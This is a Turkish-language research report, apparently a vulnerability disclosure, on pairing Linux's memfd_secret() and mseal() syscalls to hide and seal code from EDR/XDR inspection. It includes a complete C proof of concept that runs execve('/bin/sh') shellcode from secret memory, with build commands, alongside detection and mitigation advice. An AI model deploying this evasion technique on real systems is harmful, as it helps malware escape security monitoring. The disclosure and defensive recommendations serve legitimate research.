Yayın Tarihi: 9 Temmuz 2025 · Yazar: BoxStrike Araştırma Ekibi · Sürüm: 1.0
Linux çekirdeği, son yıllarda anti‑exploitation ve bellek güvenliğini
artırmak amacıyla birçok yeni sistem çağrısına kavuştu. Bu çağrılardan
ikisi olan memfd_secret() (Linux 5.14) ve mseal()
(Linux 6.10), meşru kullanım senaryoları için geliştirilmiş olsa da,
birleştirildiklerinde beklenmedik ve güçlü bir savunma atlatma
(Defense Evasion) yöntemi oluşturmaktadır.
Bu rapor, söz konusu iki sistem çağrısının mimari detaylarını, çalışma prensiplerini ve bir saldırgan tarafından nasıl kötüye kullanılabileceğini teknik düzeyde ele almaktadır. Ayrıca, bu tekniği kanıtlayan bir Proof‑of‑Concept (PoC) ve Linux geliştiricilerine sunulan iki somut öneri (bloklama ve kontrollü okuma) da bu belgenin kapsamındadır.
memfd_secret() ve mseal() sistem
çağrıları, sıradan (unprivileged) kullanıcılar tarafından da
çağrılabilmektedir. Bu durum, tehdidin ciddiyetini artırmaktadır.
memfd_secret() – Belleği Çekirdekten Gizleme
memfd_secret() sistem çağrısı, Linux 5.14 ile çekirdeğe
eklenmiştir. Temel amacı, bir kullanıcı alanı sürecinin, çekirdek
dahil hiç kimsenin erişemediği bir bellek bölgesi oluşturmasına izin
vermektir. Bu özellik, özellikle kriptografik anahtarlar, özel anahtarlar
veya diğer çok hassas verilerin korunması için tasarlanmıştır.
Çalışma prensibi adım adım:
memfd_secret() çağrıldığında, gerçek bir dosyaya
karşılık gelmeyen, tamamen RAM’de var olan anonim bir dosya
oluşturulur ve bu dosyaya ait bir dosya tanımlayıcı (fd)
döndürülür.ftruncate() ile
boyutlandırılır ve ardından mmap() ile sürecin
kendi adres alanına eşlenir.Bu mekanizma sayesinde:
copy_from_user() gibi çekirdek içi kopyalama
fonksiyonları bu bölgeyle çalışamaz.get_user_pages() (GUP) ile bu sayfalara erişilemez./proc/<pid>/mem veya ptrace
ile bu bölge okunamaz.bpf_probe_read_user() ile
okuma girişimleri EFAULT hatası döndürür.| Özellik | Açıklama |
|---|---|
| Linux Sürümü | 5.14+ (x86_64, ARM64, vb.) |
| Yetki Gereksinimi | Root gerektirmez – her kullanıcı çağırabilir |
| Etkinleştirme | 6.5 öncesi secretmem.enable=1; 6.5+ varsayılan açık |
| Bellek Limiti | RLIMIT_MEMLOCK ile sınırlıdır; swap’a yazılmaz |
| Engellediği Erişimler | Kernel, GUP, DMA, eBPF okuma, /proc/pid/mem, ptrace |
mseal() – Bellek Bölgesini Mühürleme
mseal() sistem çağrısı, Linux 6.10 ile çekirdeğe eklenmiştir.
Temel amacı, bir sanal bellek bölgesinin (VMA – Virtual Memory Area)
gelecekteki değişikliklere karşı korunmasını sağlamaktır. Bu, özellikle
bir saldırganın bellek izinlerini değiştirmesini (mprotect)
veya bellek bölgesini taşımasını/kaldırmasını (mremap/
munmap) engellemek için tasarlanmış bir exploitation
mitigation aracıdır.
Çalışma prensibi:
mseal(start, len, flags) çağrısı, belirtilen adres
aralığındaki VMA’ları hedef alır.vm_flags
alanına VM_SEALED bayrağı eklenir.
Bu bayrak, 64‑bit sistemlerde genellikle 63. bit olarak tanımlıdır.mprotect() ve pkey_mprotect() – koruma bayraklarını değiştirmemunmap() – bölgeyi kaldırmamremap() – bölgeyi taşıma veya boyut değiştirmemmap(MAP_FIXED) – mühürlü bölgenin üzerine yeni eşleme yapmamadvise() işlemleri (ör. MADV_DONTNEED)| Özellik | Açıklama |
|---|---|
| Linux Sürümü | 6.10+ |
| Yetki Gereksinimi | Root gerektirmez |
| Koruma Mekanizması | VM_SEALED bayrağı ile VMA kilitleme |
| Engellediği İşlemler | mprotect, munmap, mremap, mmap(MAP_FIXED), bazı madvise |
memfd_secret() ve mseal() ayrı ayrı
değerlendirildiğinde, her ikisi de meşru ve faydalı güvenlik araçlarıdır.
Ancak bu iki sistem çağrısı birleştirildiğinde, beklenmedik ve güçlü
bir savunma atlatma (Defense Evasion) tekniği ortaya çıkar.
memfd_secret() ile oluşturulan
bölge, EDR/XDR gibi güvenlik araçlarının eBPF, /proc/pid/mem
veya ptrace ile okuyamayacağı bir alandır. Çekirdek
bile bu bölgeyi göremez.mseal() ile mühürlenen
bölge, mprotect ile izinleri değiştirilemez,
munmap ile kaldırılamaz ve mremap ile
taşınamaz. Bu, bir güvenlik yazılımının veya yetkili bir kullanıcının
(root) bile bu bölgeye müdahale etmesini engeller.Bu durum, mevcut güvenlik ürünleri için önemli bir kör nokta oluşturur. Bir saldırgan, kendi prosesine enjekte ettiği shellcode’u bu gizli ve mühürlü bölgeye taşıyarak, EDR/XDR araçlarının tespitinden kaçabilir ve aynı zamanda bu shellcode’un değiştirilmesini veya kaldırılmasını engelleyebilir.
Aşağıda, bu tekniğin çalıştığını kanıtlayan gerçek bir PoC kodu
sunulmaktadır. Kod, memfd_secret() ile çekirdekten gizlenmiş
bir bellek bölgesi oluşturur, içine execve("/bin/sh")
shellcode’u yerleştirir, ardından mseal() ile bölgeyi
mühürler ve shellcode’u çalıştırır. Bu sayede, shellcode EDR/AV
araçlarının erişemeyeceği bir alanda çalıştırılmış olur.
secret_shellcode_poc.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <errno.h>
#ifndef __NR_memfd_secret
#define __NR_memfd_secret 447
#endif
#ifndef __NR_mseal
#define __NR_mseal 462
#endif
// x86_64 shellcode: execve("/bin/sh", NULL, NULL)
unsigned char shellcode[] = {
0x48, 0x31, 0xc0, // xor rax, rax
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, // mov rbx, /bin//sh
0x53, // push rbx
0x48, 0x89, 0xe7, // mov rdi, rsp
0xb0, 0x3b, // mov al, 59
0x0f, 0x05 // syscall
};
int main() {
int fd;
void *addr;
// 1. memfd_secret ile gizli dosya oluştur
fd = syscall(__NR_memfd_secret, 0);
if (fd == -1) {
perror("memfd_secret");
return 1;
}
// 2. Belleği eşle (okuma-yazma-çalıştırma)
addr = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
perror("mmap");
close(fd);
return 1;
}
// 3. Shellcode'u kopyala
memcpy(addr, shellcode, sizeof(shellcode));
// 4. (Opsiyonel) mühürle – kernel 6.10+ gerektirir, başarısız olursa devam et
if (syscall(__NR_mseal, addr, sizeof(shellcode), 0) == -1) {
perror("mseal (uyarı, devam ediliyor)");
} else {
printf("[+] Shellcode mühürlendi.\n");
}
printf("[+] Shellcode gizli bellekte, çalıştırılıyor...\n");
// 5. Shellcode'u çalıştır
((void (*)())addr)();
// Bu noktaya gelinmez (shellcode yeni kabuk açar)
return 0;
}
Derleme ve çalıştırma:
gcc -o secret_shellcode_poc secret_shellcode_poc.c
./secret_shellcode_poc
Program çalıştığında, gizli bölge oluşturulur, shellcode kopyalanır,
mühürlenir (eğer kernel 6.10+ ise) ve ardından /bin/sh
kabuğu açılır. Bu kabuk, sistemdeki EDR/AV araçlarının okuyamadığı
bir bellek bölgesinden çalıştırılmıştır.
cat /proc/<pid>/maps ile bakıldığında, shellcode’un
bulunduğu bölgenin [secretmem] olarak işaretlendiği ve
eBPF ile okunamadığı gözlemlenebilir.
Aşağıdaki diyagram, bu tekniğin adım adım çalışma prensibini özetlemektedir:
memfd_secret() + mseal() kombinasyonunun
mimari çalışma akışı.
Bu tekniğin tespit edilmesi ve önlenmesi için aşağıdaki yöntemler önerilmektedir:
auditd veya LSM hook’ları ile memfd_secret()
ve mseal() çağrılarının izlenmesi. Bu çağrılar normal
süreçlerde nadir görüldüğü için yüksek risk sinyali olabilir.memfd_secret
ve mseal sistem çağrılarının seccomp‑bpf ile
engellenmesi.secretmem.enable=0 ile memfd_secret()
özelliğinin tüm sistemde devre dışı bırakılması. (Meşru kullanımlar
varsa dikkatli değerlendirilmelidir.)memfd_secret() ardından
mseal() çağrılması zincirini izleyerek anormal
aktivite tespiti.CAP_BPF + CAP_SYS_ADMIN
yetkisine sahip güvenilir eBPF programlarının bu bölgeleri
okuyabilmesi için bir opt‑in flag eklenmesi. Bu,
meşru güvenlik araçlarının çalışmasına izin verirken, kötü
amaçlı kullanımı engeller.
BoxStrike ekibi olarak, Linux çekirdeğine güvenlik amaçlı eklenen
memfd_secret() ve mseal() sistem çağrılarının
birleşiminin, beklenmedik ve güçlü bir savunma atlatma (Defense Evasion)
tekniği oluşturduğunu tespit ettik. Bu teknik, root yetkisi gerektirmeyen
bir şekilde, kötü amaçlı kodun EDR/XDR gibi güvenlik araçları tarafından
okunamaz ve değiştirilemez bir bellek bölgesine yerleştirilmesine
olanak tanır.
Bulgumuz, Linux çekirdek geliştiricilerine iki somut öneriyle (A – bloklama, B – kontrollü okuma) sunulmuş ve kamuoyuyla paylaşılmıştır. Bu tekniğin henüz gerçek dünya saldırılarında kullanıldığına dair bir kanıt bulunmasa da, potansiyel tehdit aktörleri tarafından istismar edilme riski yüksektir. Bu nedenle, sistem yöneticilerinin ve güvenlik ekiplerinin gerekli önlemleri (seccomp‑bpf, audit, kernel parametreleri) alması kritik önem taşımaktadır.
memfd_secret() Prototipi ve Dönüş Değerleri
int memfd_secret(unsigned int flags);
0 kullanılabilir.
Gelecekteki genişletmeler için ayrılmıştır.-1 ve errno döner.ENOSYS (mimari desteklemiyor),
ENOMEM (bellek yetersiz), EPERM (sistem tarafından
devre dışı bırakılmış).mseal() Prototipi ve Dönüş Değerleri
int mseal(unsigned long start, size_t len, unsigned long flags);
0 kullanılır.0, hata durumunda -1
ve errno döner.EINVAL (geçersiz parametre),
ENOMEM (aralıkta boşluk var veya geçersiz adres),
EPERM (mühürleme izni yok).mm/secretmem.c, mm/mseal.c| Sürüm | Tarih | Açıklama |
|---|---|---|
| 1.0 | 9 Temmuz 2025 | İlk yayın. Bulgu tanımı, teknik arka plan, gerçek PoC, mimari diyagram, öneriler. |
| — | — | Gelecek sürümler: Linux ekiplerinden gelen yanıtlar, yeni PoC varyasyonları, geliştirilmiş tespit metotları. |